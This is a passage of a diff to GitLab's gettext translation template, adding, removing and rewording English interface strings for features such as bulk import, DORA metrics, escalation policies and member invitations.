@@ -3313,7 +3332,7 @@ msgstr ""
msgid "AdminUsers|Is using seat"
msgstr ""
-msgid "AdminUsers|Issues authored by this user are hidden from other users."
+msgid "AdminUsers|Issues and merge requests authored by this user are hidden from other users."
msgstr ""
msgid "AdminUsers|It's you!"
@@ -3358,6 +3377,9 @@ msgstr ""
msgid "AdminUsers|Personal projects, group and user history will be left intact"
msgstr ""
+msgid "AdminUsers|Private profile"
+msgstr ""
+
msgid "AdminUsers|Quota of CI/CD minutes"
msgstr ""
@@ -3583,6 +3605,9 @@ msgstr ""
msgid "Advanced export options"
msgstr ""
+msgid "AdvancedSearch|Could not fetch index entities. Please try again later."
+msgstr ""
+
msgid "AdvancedSearch|Elasticsearch version not compatible"
msgstr ""
@@ -3616,6 +3641,9 @@ msgstr ""
msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
+msgid "After the Apple App Store Connect integration is activated, the following protected variables will be created for CI/CD use."
+msgstr ""
+
msgid "After the export is complete, download the data file from a notification email or from this page. You can then import the data file from the %{strong_text_start}Create new group%{strong_text_end} page of another GitLab instance."
msgstr ""
@@ -4108,9 +4136,6 @@ msgstr ""
msgid "Allow use of licensed EE features"
msgstr ""
-msgid "Allow users to dismiss the broadcast message"
-msgstr ""
-
msgid "Allow users to register any application to use GitLab as an OAuth provider"
msgstr ""
@@ -4258,9 +4283,6 @@ msgstr ""
msgid "An error occurred while approving, please try again."
msgstr ""
-msgid "An error occurred while authorizing your role"
-msgstr ""
-
msgid "An error occurred while checking group path. Please refresh and try again."
msgstr ""
@@ -4489,9 +4511,6 @@ msgstr ""
msgid "An error occurred while removing issues."
msgstr ""
-msgid "An error occurred while rendering preview broadcast message"
-msgstr ""
-
msgid "An error occurred while rendering the editor"
msgstr ""
@@ -4713,6 +4732,18 @@ msgstr ""
msgid "Append the comment with %{tableflip}"
msgstr ""
+msgid "AppleAppStore|The Apple App Store Connect Issuer ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Key ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Private Key."
+msgstr ""
+
+msgid "AppleAppStore|Use GitLab to build and release an app in the Apple App Store."
+msgstr ""
+
msgid "Application"
msgstr ""
@@ -4944,6 +4975,9 @@ msgstr ""
msgid "Applying suggestions..."
msgstr ""
+msgid "Approval options"
+msgstr ""
+
msgid "Approval rules"
msgstr ""
@@ -5368,12 +5402,21 @@ msgstr ""
msgid "Artifacts|Delete artifact"
msgstr ""
+msgid "Artifacts|Help us improve this page"
+msgstr ""
+
+msgid "Artifacts|Take a quick survey"
+msgstr ""
+
msgid "Artifacts|This artifact will be permanently deleted. Any reports generated from this artifact will be empty."
msgstr ""
msgid "Artifacts|Total artifacts size"
msgstr ""
+msgid "Artifacts|We want you to be able to use this page to easily manage your CI/CD job artifacts. We are working to improve this experience and would appreciate any feedback you have about the improvements we are making."
+msgstr ""
+
msgid "As we continue to build more features for SAST, we'd love your feedback on the SAST configuration feature in %{linkStart}this issue%{linkEnd}."
msgstr ""
@@ -5638,6 +5681,9 @@ msgstr ""
msgid "AuditStreams|Custom HTTP headers (optional)"
msgstr ""
+msgid "AuditStreams|Defines which streaming events are captured"
+msgstr ""
+
msgid "AuditStreams|Delete %{link}"
msgstr ""
@@ -5653,12 +5699,18 @@ msgstr ""
msgid "AuditStreams|Edit %{link}"
msgstr ""
+msgid "AuditStreams|Event filtering (optional)"
+msgstr ""
+
msgid "AuditStreams|Header"
msgstr ""
msgid "AuditStreams|Maximum of %{number} HTTP headers has been reached."
msgstr ""
+msgid "AuditStreams|No filters available. %{linkStart}How do I add a filter?%{linkEnd}"
+msgstr ""
+
msgid "AuditStreams|Remove custom header"
msgstr ""
@@ -7068,6 +7120,9 @@ msgstr ""
msgid "BranchRules|default"
msgstr ""
+msgid "BranchRules|protected"
+msgstr ""
+
msgid "Branches"
msgstr ""
@@ -7362,9 +7417,6 @@ msgstr ""
msgid "BulkImport|Destination"
msgstr ""
-msgid "BulkImport|Destination group"
-msgstr ""
-
msgid "BulkImport|Existing groups"
msgstr ""
@@ -7374,7 +7426,7 @@ msgstr ""
msgid "BulkImport|Following data will not be migrated: %{bullets} Contact system administrator of %{host} to upgrade GitLab if you need this data in your migration"
msgstr ""
-msgid "BulkImport|Group import history"
+msgid "BulkImport|GitLab Migration history"
msgstr ""
msgid "BulkImport|History"
@@ -7392,6 +7444,15 @@ msgstr ""
msgid "BulkImport|Import selected"
msgstr ""
+msgid "BulkImport|Import with projects"
+msgstr ""
+
+msgid "BulkImport|Import without projects"
+msgstr ""
+
+msgid "BulkImport|Importing projects is a %{docsLinkStart}Beta%{docsLinkEnd} feature."
+msgstr ""
+
msgid "BulkImport|Importing the group failed."
msgstr ""
@@ -7452,7 +7513,7 @@ msgstr ""
msgid "BulkImport|Update of import statuses with realtime changes failed"
msgstr ""
-msgid "BulkImport|Your imported groups will appear here."
+msgid "BulkImport|Your imported groups and projects will appear here."
msgstr ""
msgid "BulkImport|Your imported projects will appear here."
@@ -7913,6 +7974,9 @@ msgstr ""
msgid "Cannot promote issue due to insufficient permissions."
msgstr ""
+msgid "Cannot push to source branch"
+msgstr ""
+
msgid "Cannot refer to a group milestone by an internal id!"
msgstr ""
@@ -8024,13 +8088,10 @@ msgstr ""
msgid "Change your password or recover your current one"
msgstr ""
-msgid "ChangeReviewer|Reviewer changed from %{old} to %{new}"
-msgstr ""
-
-msgid "ChangeReviewer|Reviewer changed to %{new}"
+msgid "ChangeReviewer|%{added_reviewers_text}%{removed_reviewers_text}"
msgstr ""
-msgid "ChangeReviewer|Unassigned"
+msgid "ChangeReviewer|All reviewers were removed."
msgstr ""
msgid "ChangeTypeAction|Cherry-pick"
@@ -8183,7 +8244,7 @@ msgstr ""
msgid "Check out branch"
msgstr ""
-msgid "Check out, review, and merge locally"
+msgid "Check out, review, and resolve locally"
msgstr ""
msgid "Check the %{code_open}elasticsearch.log%{code_close} file to debug why the migration halted and make any changes before retrying the migration. When you fix the cause of the failure, select %{strong_open}Retry migration%{strong_close}, and the migration is scheduled to retry in the background."
@@ -9568,21 +9629,6 @@ msgstr ""
msgid "ClusterIntegration|Every new Google Cloud Platform (GCP) account receives $300 in credit upon %{sign_up_link}. In partnership with Google, GitLab is able to offer an additional $200 for both new and existing GCP accounts to get started with GitLab's Google Kubernetes Engine Integration."
msgstr ""
-msgid "ClusterIntegration|Failed to configure EKS provider: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to configure Google Kubernetes Engine Cluster: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to fetch CloudFormation stack: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to request to Google Cloud Platform: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to run Kubeclient: %{message}"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -9817,6 +9863,12 @@ msgstr ""
msgid "Code Quality"
msgstr ""
+msgid "Code Quality scans found %{degradation} and %{improvement}."
+msgstr ""
+
+msgid "Code Quality scans found %{findings}."
+msgstr ""
+
msgid "Code Review"
msgstr ""
@@ -10071,6 +10123,9 @@ msgstr ""
msgid "Committed by"
msgstr ""
+msgid "CommonJS module"
+msgstr ""
+
msgid "Community forum"
msgstr ""
@@ -10962,6 +11017,9 @@ msgstr ""
msgid "Continue to the next step"
msgstr ""
+msgid "Continue with overages"
+msgstr ""
+
msgid "Continuous Integration and Deployment"
msgstr ""
@@ -11157,9 +11215,6 @@ msgstr ""
msgid "Copy token"
msgstr ""
-msgid "Copy trigger token"
-msgstr ""
-
msgid "Copy value"
msgstr ""
@@ -11355,6 +11410,9 @@ msgstr ""
msgid "Country"
msgstr ""
+msgid "Counts"
+msgstr ""
+
msgid "Counts reflect children you may not have access to."
msgstr ""
@@ -11781,6 +11839,9 @@ msgstr ""
msgid "Created a branch and a merge request to resolve this issue."
msgstr ""
+msgid "Created at"
+msgstr ""
+
msgid "Created branch '%{branch_name}' and a merge request to resolve this issue."
msgstr ""
@@ -12251,6 +12312,9 @@ msgstr ""
msgid "CycleAnalytics|project dropdown filter"
msgstr ""
+msgid "CycleAnalytics|the assigned object is not supported"
+msgstr ""
+
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -12269,10 +12333,10 @@ msgstr ""
msgid "DNS"
msgstr ""
-msgid "DORA4Metrics|%{startDate} - %{endDate}"
+msgid "DORA4Metrics|Average (last %{days}d)"
msgstr ""
-msgid "DORA4Metrics|Average (last %{days}d)"
+msgid "DORA4Metrics|Average number of deployments to production per day. This metric measures how often value is delivered to end users."
msgstr ""
msgid "DORA4Metrics|Change Failure Rate"
@@ -12287,12 +12351,6 @@ msgstr ""
msgid "DORA4Metrics|Cycle time"
msgstr ""
-msgid "DORA4Metrics|DORA metrics for %{name} group"
-msgstr ""
-
-msgid "DORA4Metrics|DORA metrics for %{name} project"
-msgstr ""
-
msgid "DORA4Metrics|Date"
msgstr ""
@@ -12314,6 +12372,9 @@ msgstr ""
msgid "DORA4Metrics|Failed to load charts"
msgstr ""
+msgid "DORA4Metrics|Go to docs"
+msgstr ""
+
msgid "DORA4Metrics|Lead Time for Changes"
msgstr ""
@@ -12335,6 +12396,18 @@ msgstr ""
msgid "DORA4Metrics|Median time an incident was open in a production environment over the given time period."
msgstr ""
+msgid "DORA4Metrics|Median time from issue created to issue closed."
+msgstr ""
+
+msgid "DORA4Metrics|Median time from the earliest commit of a linked issue's merge request to when that issue is closed."
+msgstr ""
+
+msgid "DORA4Metrics|Metrics comparison for %{name} group"
+msgstr ""
+
+msgid "DORA4Metrics|Metrics comparison for %{name} project"
+msgstr ""
+
msgid "DORA4Metrics|Month to date"
msgstr ""
@@ -12353,9 +12426,15 @@ msgstr ""
msgid "DORA4Metrics|Number of incidents divided by the number of deployments to a production environment in the given time period."
msgstr ""
+msgid "DORA4Metrics|Number of new issues created."
+msgstr ""
+
msgid "DORA4Metrics|Past 6 Months"
msgstr ""
+msgid "DORA4Metrics|Percentage of deployments that cause an incident in production."
+msgstr ""
+
msgid "DORA4Metrics|Percentage of failed deployments"
msgstr ""
@@ -12377,6 +12456,12 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DORA4Metrics|The time it takes an organization to recover from a failure in production."
+msgstr ""
+
+msgid "DORA4Metrics|The time to successfully deliver a commit into production. This metric reflects the efficiency of CI/CD pipelines."
+msgstr ""
+
msgid "DORA4Metrics|Time to Restore Service"
msgstr ""
@@ -12386,6 +12471,9 @@ msgstr ""
msgid "DORA4Metrics|Time to restore service (median days)"
msgstr ""
+msgid "DORA4Metrics|Total number of deploys to production."
+msgstr ""
+
msgid "DSN"
msgstr ""
@@ -13386,6 +13474,9 @@ msgstr ""
msgid "Dependencies|Dependency path"
msgstr ""
+msgid "Dependencies|Error exporting the dependency list. Please reload the page."
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -13773,6 +13864,9 @@ msgstr ""
msgid "Deployment frequency"
msgstr ""
+msgid "DeploymentApprovals|Allow pipeline triggerer to approve deployment."
+msgstr ""
+
msgid "DeploymentApprovals|Approvals"
msgstr ""
@@ -13788,6 +13882,12 @@ msgstr ""
msgid "DeploymentApprovals|Maintainers"
msgstr ""
+msgid "DeploymentApprovals|Set how approval rules are applied to deployments in protected environments."
+msgstr ""
+
+msgid "DeploymentApprovals|When a pipeline runs, deployment jobs will automatically be approved in the pipeline if the triggerer is allowed to approve."
+msgstr ""
+
msgid "DeploymentApproval| Current approvals: %{current}"
msgstr ""
@@ -13871,6 +13971,12 @@ msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
msgstr[1] ""
+msgid "Deployments|Define environments in the deploy stage(s) in %{code_open}.gitlab-ci.yml%{code_close} to track deployments here."
+msgstr ""
+
+msgid "Deployments|You don't have any deployments right now."
+msgstr ""
+
msgid "Deployment|API"
msgstr ""
@@ -14140,9 +14246,6 @@ msgstr ""
msgid "DevOps adoption"
msgstr ""
-msgid "DevOps metrics comparison (Alpha)"
-msgstr ""
-
msgid "Developer"
msgstr ""
@@ -14308,6 +14411,9 @@ msgstr ""
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
+msgid "DevopsMetricsDashboard|%{strongStart}Beta feature:%{strongEnd} Leave your thoughts in the %{linkStart}feedback issue%{linkEnd}."
+msgstr ""
+
msgid "DevopsReport|DevOps Score"
msgstr ""
@@ -14365,6 +14471,9 @@ msgstr ""
msgid "Difference between start date and now"
msgstr ""
+msgid "Different user's signature"
+msgstr ""
+
msgid "DiffsCompareBaseBranch|(HEAD)"
msgstr ""
@@ -14559,9 +14668,6 @@ msgstr ""
msgid "Dismiss trial promotion"
msgstr ""
-msgid "Dismissable"
-msgstr ""
-
msgid "Dismissed"
msgstr ""
@@ -14856,6 +14962,9 @@ msgstr ""
msgid "E-mail:"
msgstr ""
+msgid "ESM module"
+msgstr ""
+
msgid "Each project can also have an issue tracker and a wiki."
msgstr ""
@@ -15276,9 +15385,6 @@ msgstr ""
msgid "Enable email notification"
msgstr ""
-msgid "Enable error tracking"
-msgstr ""
-
msgid "Enable feature to choose access level"
msgstr ""
@@ -15405,10 +15511,10 @@ msgstr ""
msgid "End Time"
msgstr ""
-msgid "Ends"
+msgid "End time"
msgstr ""
-msgid "Ends at (UTC)"
+msgid "Ends"
msgstr ""
msgid "Ends on"
@@ -16017,6 +16123,9 @@ msgstr ""
msgid "Error tracking"
msgstr ""
+msgid "Error tracking is currently in"
+msgstr ""
+
msgid "Error updating %{issuableType}"
msgstr ""
@@ -16053,10 +16162,7 @@ msgstr ""
msgid "Error: Couldn't load some or all of the changes."
msgstr ""
-msgid "Error: No AWS credentials were supplied"
-msgstr ""
-
-msgid "Error: No AWS provision role found for user"
+msgid "Error: Gitaly is unavailable. Contact your administrator."
msgstr ""
msgid "Error: Unable to create deploy freeze"
@@ -16065,9 +16171,6 @@ msgstr ""
msgid "Error: Unable to delete deploy freeze"
msgstr ""
-msgid "Error: Unable to find AWS role for current user"
-msgstr ""
-
msgid "ErrorTracking|Access token is %{token_in_code_tag}"
msgstr ""
@@ -16170,12 +16273,18 @@ msgstr ""
msgid "EscalationPolicies|Are you sure you want to delete the \"%{escalationPolicy}\" escalation policy? This action cannot be undone."
msgstr ""
+msgid "EscalationPolicies|Choose who to email if those contacted first about an alert don't respond."
+msgstr ""
+
msgid "EscalationPolicies|Create an escalation policy in GitLab"
msgstr ""
msgid "EscalationPolicies|Delete escalation policy"
msgstr ""
+msgid "EscalationPolicies|Distinguishes this policy from others you may create (for example, \"Critical alert escalation\")."
+msgstr ""
+
msgid "EscalationPolicies|Edit escalation policy"
msgstr ""
@@ -16191,6 +16300,9 @@ msgstr ""
msgid "EscalationPolicies|Escalation policy %{obstacle} in project %{project}"
msgstr ""
+msgid "EscalationPolicies|Escalation policy successfully created"
+msgstr ""
+
msgid "EscalationPolicies|Escalation rules"
msgstr ""
@@ -16206,6 +16318,9 @@ msgstr ""
msgid "EscalationPolicies|Minutes must be between 0 and 1440."
msgstr ""
+msgid "EscalationPolicies|More detailed information about your policy."
+msgstr ""
+
msgid "EscalationPolicies|Remove escalation rule"
msgstr ""
@@ -16215,9 +16330,6 @@ msgstr ""
msgid "EscalationPolicies|Select schedule"
msgstr ""
-msgid "EscalationPolicies|Set up escalation policies to define who is paged, and when, in the event the first users paged don't respond."
-msgstr ""
-
msgid "EscalationPolicies|THEN %{doAction} %{scheduleOrUser}"
msgstr ""
@@ -16230,6 +16342,9 @@ msgstr ""
msgid "EscalationPolicies|This policy has no escalation rules."
msgstr ""
+msgid "EscalationPolicies|When a new alert is received, the users specified in the policy receive an email."
+msgstr ""
+
msgid "EscalationPolicies|mins"
msgstr ""
@@ -16251,6 +16366,9 @@ msgstr ""
msgid "Even if you reach the number of seats in your subscription, you can continue to add users, and GitLab will bill you for the overage."
msgstr ""
+msgid "Event tag (optional)"
+msgstr ""
+
msgid "EventFilterBy|Filter by all"
msgstr ""
@@ -16568,7 +16686,7 @@ msgstr ""
msgid "Expires:"
msgstr ""
-msgid "Explain the problem. If appropriate, provide a link to the relevant issue or comment."
+msgid "Explain why you're reporting the user."
msgstr ""
msgid "Explore"
@@ -16917,9 +17035,6 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
-msgid "Failed to promote issue to incident"
-msgstr ""
-
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -17345,9 +17460,6 @@ msgstr ""
msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
-msgid "Filter by Git revision"
-msgstr ""
-
msgid "Filter by issues that are currently closed."
msgstr ""
@@ -17648,7 +17760,7 @@ msgstr ""
msgid "ForkedFromProjectPath|Forked from"
msgstr ""
-msgid "ForkedFromProjectPath|Forked from an inaccessible project"
+msgid "ForkedFromProjectPath|Forked from an inaccessible project."
msgstr ""
msgid "Forking in progress"
@@ -17663,13 +17775,16 @@ msgstr ""
msgid "ForksDivergence|%{behind} %{commit_word} behind"
msgstr ""
-msgid "ForksDivergence|%{messages} upstream repository"
+msgid "ForksDivergence|%{messages} the upstream repository."
msgstr ""
-msgid "ForksDivergence|Fork has diverged from upstream repository"
+msgid "ForksDivergence|Failed to fetch fork details. Try again later."
msgstr ""
-msgid "ForksDivergence|Up to date with upstream repository"
+msgid "ForksDivergence|This fork has diverged from the upstream repository."
+msgstr ""
+
+msgid "ForksDivergence|Up to date with the upstream repository."
msgstr ""
msgid "Format: %{dateFormat}"
@@ -17770,6 +17885,9 @@ msgstr ""
msgid "GPG Keys"
msgstr ""
+msgid "GPG key mismatch"
+msgstr ""
+
msgid "GPG keys allow you to verify signed commits."
msgstr ""
@@ -18428,9 +18546,6 @@ msgstr ""
msgid "Git"
msgstr ""
-msgid "Git GC period"
-msgstr ""
-
msgid "Git LFS Rate Limits"
msgstr ""
@@ -18638,8 +18753,8 @@ msgstr ""
msgid "GitLab will create a branch in your fork and start a merge request."
msgstr ""
-msgid "GitLab will enforce this limit in the future. If you are over %{free_user_limit} user when enforcement begins, your namespace will be placed in a %{link_start}read-only%{link_end} state. To avoid being placed in a read-only state, reduce your namespace to %{free_user_limit} user or less or purchase a paid tier."
-msgid_plural "GitLab will enforce this limit in the future. If you are over %{free_user_limit} users when enforcement begins, your namespace will be placed in a %{link_start}read-only%{link_end} state. To avoid being placed in a read-only state, reduce your namespace to %{free_user_limit} users or less or purchase a paid tier."
+msgid "GitLab will enforce this limit in the future. If you are over %{free_user_limit} user when enforcement begins, your top-level group, including any subgroups and projects, will be placed in a %{link_start}read-only%{link_end} state. To avoid being placed in a read-only state, reduce your top-level group to %{free_user_limit} user or less or purchase a paid tier."
+msgid_plural "GitLab will enforce this limit in the future. If you are over %{free_user_limit} users when enforcement begins, your top-level group, including any subgroups and projects, will be placed in a %{link_start}read-only%{link_end} state. To avoid being placed in a read-only state, reduce your top-level group to %{free_user_limit} users or less or purchase a paid tier."
msgstr[0] ""
msgstr[1] ""
@@ -18781,15 +18896,48 @@ msgstr ""
msgid "Gitea Import"
msgstr ""
+msgid "GithubImporter|Gist with id %{gist_id} failed due to error: %{error}."
+msgstr ""
+
+msgid "GithubImporter|GitHub Gists import finished with errors"
+msgstr ""
+
+msgid "GithubImporter|GitHub gists that were not imported:"
+msgstr ""
+
+msgid "GithubImporter|GitHub gists with more than 10 files must be manually migrated."
+msgstr ""
+
+msgid "GithubImporter|Issue attachments"
+msgstr ""
+
+msgid "GithubImporter|Merge request attachments"
+msgstr ""
+
+msgid "GithubImporter|Note attachments"
+msgstr ""
+
msgid "GithubImporter|PR mergers"
msgstr ""
msgid "GithubImporter|PR reviews"
msgstr ""
+msgid "GithubImporter|Please follow %{import_snippets_link_start}Import GitHub gists into GitLab snippets%{import_snippets_link_end} for more details."
+msgstr ""
+
+msgid "GithubImporter|Please follow %{import_snippets_url} for more details."
+msgstr ""
+
msgid "GithubImporter|Pull requests"
msgstr ""
+msgid "GithubImporter|Release attachments"
+msgstr ""
+
+msgid "GithubImporter|Your import of GitHub gists into GitLab snippets is complete."
+msgstr ""
+
msgid "GithubIntegration|Create a %{token_link_start}personal access token%{token_link_end} with %{status_html} access granted and paste it here."
msgstr ""
@@ -18844,6 +18992,9 @@ msgstr ""
msgid "Global Shortcuts"
msgstr ""
+msgid "Global notification email"
+msgstr ""
+
msgid "Global notification level"
msgstr ""
@@ -19255,6 +19406,12 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
+msgid "Group '%{group_name}' could not be updated."
+msgstr ""
+
+msgid "Group '%{group_name}' was successfully updated."
+msgstr ""
+
msgid "Group Access Tokens"
msgstr ""
@@ -19405,9 +19562,6 @@ msgstr ""
msgid "GroupActivityMetrics|Issues created"
msgstr ""
-msgid "GroupActivityMetrics|Last 30 days"
-msgstr ""
-
msgid "GroupActivityMetrics|Members added"
msgstr ""
@@ -19417,7 +19571,7 @@ msgstr ""
msgid "GroupActivityMetrics|Recent activity"
msgstr ""
-msgid "GroupImport|Failed to import group."
+msgid "GroupImport|Failed to import group: %{error}"
msgstr ""
msgid "GroupImport|Group '%{group_name}' is being imported."
@@ -19789,7 +19943,7 @@ msgstr ""
msgid "GroupSettings|Select the project containing the %{code_start}.gitlab/insights.yml%{code_end} file"
msgstr ""
-msgid "GroupSettings|Select the project containing your custom Insights file. %{help_link_start}What is Insights?%{help_link_end}"
+msgid "GroupSettings|Select the project containing your custom Insights file."
msgstr ""
msgid "GroupSettings|Set a size limit for all content in each Pages site in this group. %{link_start}Learn more.%{link_end}"
@@ -19825,6 +19979,9 @@ msgstr ""
msgid "GroupSettings|What are badges?"
msgstr ""
+msgid "GroupSettings|What is Insights?"
+msgstr ""
+
msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
msgstr ""
@@ -19885,6 +20042,9 @@ msgstr ""
msgid "GroupsDropdown|This feature requires browser localStorage support"
msgstr ""
+msgid "GroupsDropdown|Toggle edit mode"
+msgstr ""
+
msgid "GroupsEmptyState|A group is a collection of several projects."
msgstr ""
@@ -19948,7 +20108,10 @@ msgstr ""
msgid "GroupsNew|Create subgroup"
msgstr ""
-msgid "GroupsNew|GitLab source URL"
+msgid "GroupsNew|Enter the URL for the source instance."
+msgstr ""
+
+msgid "GroupsNew|GitLab source instance URL"
msgstr ""
msgid "GroupsNew|Groups can also be nested by creating %{linkStart}subgroups%{linkEnd}."
@@ -19960,7 +20123,7 @@ msgstr ""
msgid "GroupsNew|Import group"
msgstr ""
-msgid "GroupsNew|Import groups from another instance of GitLab"
+msgid "GroupsNew|Import groups by direct transfer"
msgstr ""
msgid "GroupsNew|Importing groups by direct transfer is currently disabled."
@@ -19981,13 +20144,10 @@ msgstr ""
msgid "GroupsNew|Please ask your Administrator to enable it in the Admin settings."
msgstr ""
-msgid "GroupsNew|Please fill in GitLab source URL."
-msgstr ""
-
msgid "GroupsNew|Please fill in your personal access token."
msgstr ""
-msgid "GroupsNew|Provide credentials for another instance of GitLab to import your groups directly."
+msgid "GroupsNew|Provide credentials for the source instance to import from. You can provide this instance as a source to move groups in this instance."
msgstr ""
msgid "GroupsNew|Remember to enable it also on the instance you are migrating from."
@@ -20110,6 +20270,9 @@ msgstr ""
msgid "HAR file path or URL"
msgstr ""
+msgid "HTML script tag"
+msgstr ""
+
msgid "HTTP Archive (HAR)"
msgstr ""
@@ -20318,6 +20481,9 @@ msgstr ""
msgid "Help translate GitLab into your language"
msgstr ""
+msgid "Help translate to your language"
+msgstr ""
+
msgid "Helps prevent bots from brute-force attacks."
msgstr ""
@@ -20511,6 +20677,9 @@ msgstr ""
msgid "How do I generate it?"
msgstr ""
+msgid "How do I get started?"
+msgstr ""
+
msgid "How do I mirror repositories?"
msgstr ""
@@ -20526,9 +20695,6 @@ msgstr ""
msgid "How do I use a web terminal?"
msgstr ""
-msgid "How do I use file templates?"
-msgstr ""
-
msgid "How does pull mirroring work?"
msgstr ""
@@ -20841,9 +21007,6 @@ msgstr ""
msgid "If no options are selected, only administrators can register runners."
msgstr ""
-msgid "If none of the options work, try contacting a GitLab administrator."
-msgstr ""
-
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
@@ -20865,6 +21028,9 @@ msgstr ""
msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
msgstr ""
+msgid "If you are unable to sign in or recover your password, contact a GitLab administrator."
+msgstr ""
+
msgid "If you did not initiate these sign-in attempts, please reach out to your administrator or enable two-factor authentication (2FA) on your account."
msgstr ""
@@ -21052,6 +21218,12 @@ msgstr ""
msgid "Import timed out. Import took longer than %{import_jobs_expiration} seconds"
msgstr ""
+msgid "Import with projects"
+msgstr ""
+
+msgid "Import without projects"
+msgstr ""
+
msgid "ImportAProjectModal|Import from a project"
msgstr ""
@@ -21138,6 +21310,9 @@ msgid_plural "Importing %d repositories"
msgstr[0] ""
msgstr[1] ""
+msgid "Importing GitLab projects? Migrating GitLab projects when migrating groups by direct transfer is in Beta. %{link_start}Learn more.%{link_end}"
+msgstr ""
+
msgid "Importing..."
msgstr ""
@@ -21951,6 +22126,9 @@ msgstr ""
msgid "Incident|Error updating incident timeline event: %{error}"
msgstr ""
+msgid "Incident|Incident"
+msgstr ""
+
msgid "Incident|Metrics"
msgstr ""
@@ -22223,9 +22401,18 @@ msgstr ""
msgid "IntegrationEvents|A confidential issue is created, updated, or closed"
msgstr ""
+msgid "IntegrationEvents|A deployment is started or finished"
+msgstr ""
+
msgid "IntegrationEvents|A merge request is created, updated, or merged"
msgstr ""
+msgid "IntegrationEvents|A new, unique alert is recorded"
+msgstr ""
+
+msgid "IntegrationEvents|A new, unique vulnerability is recorded (available only in GitLab Ultimate)"
+msgstr ""
+
msgid "IntegrationEvents|A pipeline status changes"
msgstr ""
@@ -22238,6 +22425,9 @@ msgstr ""
msgid "IntegrationEvents|A wiki page is created or updated"
msgstr ""
+msgid "IntegrationEvents|An incident is created"
+msgstr ""
+
msgid "IntegrationEvents|An issue is created, updated, or closed"
msgstr ""
@@ -22262,9 +22452,6 @@ msgstr ""
msgid "Integrations|Add namespace"
msgstr ""
-msgid "Integrations|Adding a namespace only works in browsers that allow cross-site cookies. %{linkStart}Learn more%{linkEnd}."
-msgstr ""
-
msgid "Integrations|All details"
msgstr ""
@@ -22376,13 +22563,13 @@ msgstr ""
msgid "Integrations|Instance-level integration management"
msgstr ""
-msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
+msgid "Integrations|Integration details"
msgstr ""
-msgid "Integrations|Keep your PHP dependencies updated on Packagist."
+msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
-msgid "Integrations|Known limitations"
+msgid "Integrations|Keep your PHP dependencies updated on Packagist."
msgstr ""
msgid "Integrations|Link namespaces"
@@ -22463,9 +22650,6 @@ msgstr ""
msgid "Integrations|There are no projects using custom settings"
msgstr ""
-msgid "Integrations|This integration only works with GitLab.com. Adding a namespace only works in browsers that allow cross-site cookies. %{linkStart}Learn more%{linkEnd}."
-msgstr ""
-
msgid "Integrations|This integration, and inheriting projects were reset."
msgstr ""
@@ -22715,7 +22899,7 @@ msgstr ""
msgid "InviteMembersModal| Inviting a group %{linkStart}adds its members to your group%{linkEnd}, including members who join after the invite. This might put your group over the free %{count} user limit."
msgstr ""
-msgid "InviteMembersModal| To get more members, the owner of this namespace can %{trialLinkStart}start a trial%{trialLinkEnd} or %{upgradeLinkStart}upgrade%{upgradeLinkEnd} to a paid tier."
+msgid "InviteMembersModal| To get more members, the owner of this top-level group can %{trialLinkStart}start a trial%{trialLinkEnd} or %{upgradeLinkStart}upgrade%{upgradeLinkEnd} to a paid tier."
msgstr ""
msgid "InviteMembersModal|%{linkStart}Read more%{linkEnd} about role permissions"
@@ -22745,6 +22929,9 @@ msgstr ""
msgid "InviteMembersModal|GitLab is better with colleagues!"
msgstr ""
+msgid "InviteMembersModal|GitLab will enforce this limit in the future. If you are over %{dashboardLimit} users when enforcement begins, your top-level group will be placed in a %{freeUserLimitLinkStart}read-only state%{freeUserLimitLinkEnd}. To avoid being placed in a read-only state, reduce your top-level group to %{dashboardLimit} users or less, or purchase a paid tier."
+msgstr ""
+
msgid "InviteMembersModal|How about inviting a colleague or two to join you?"
msgstr ""
@@ -22801,7 +22988,7 @@ msgstr ""
msgid "InviteMembersModal|To get more members an owner of the group can %{trialLinkStart}start a trial%{trialLinkEnd} or %{upgradeLinkStart}upgrade%{upgradeLinkEnd} to a paid tier."
msgstr ""
-msgid "InviteMembersModal|To invite new users to this namespace, you must remove existing users. You can still add existing namespace users."
+msgid "InviteMembersModal|To invite new users to this top-level group, you must remove existing users. You can still add existing users from the top-level group, including any subgroups and projects."
msgstr ""
msgid "InviteMembersModal|Username or email address"
@@ -22825,6 +23012,9 @@ msgstr ""
msgid "InviteMembersModal|You've reached your %{count} %{members} limit for %{name}"
msgstr ""
+msgid "InviteMembersModal|Your top-level group %{namespaceName} is over the %{dashboardLimit} user limit."
+msgstr ""
+
msgid "InviteMembers|Invite a group"
msgstr ""
@@ -24091,9 +24281,6 @@ msgstr ""
msgid "Kubernetes cluster"
msgstr ""
-msgid "Kubernetes cluster creation time exceeds timeout; %{timeout}"
-msgstr ""
-
msgid "Kubernetes cluster integration and resources are being removed."
msgstr ""
@@ -24230,15 +24417,6 @@ msgstr ""
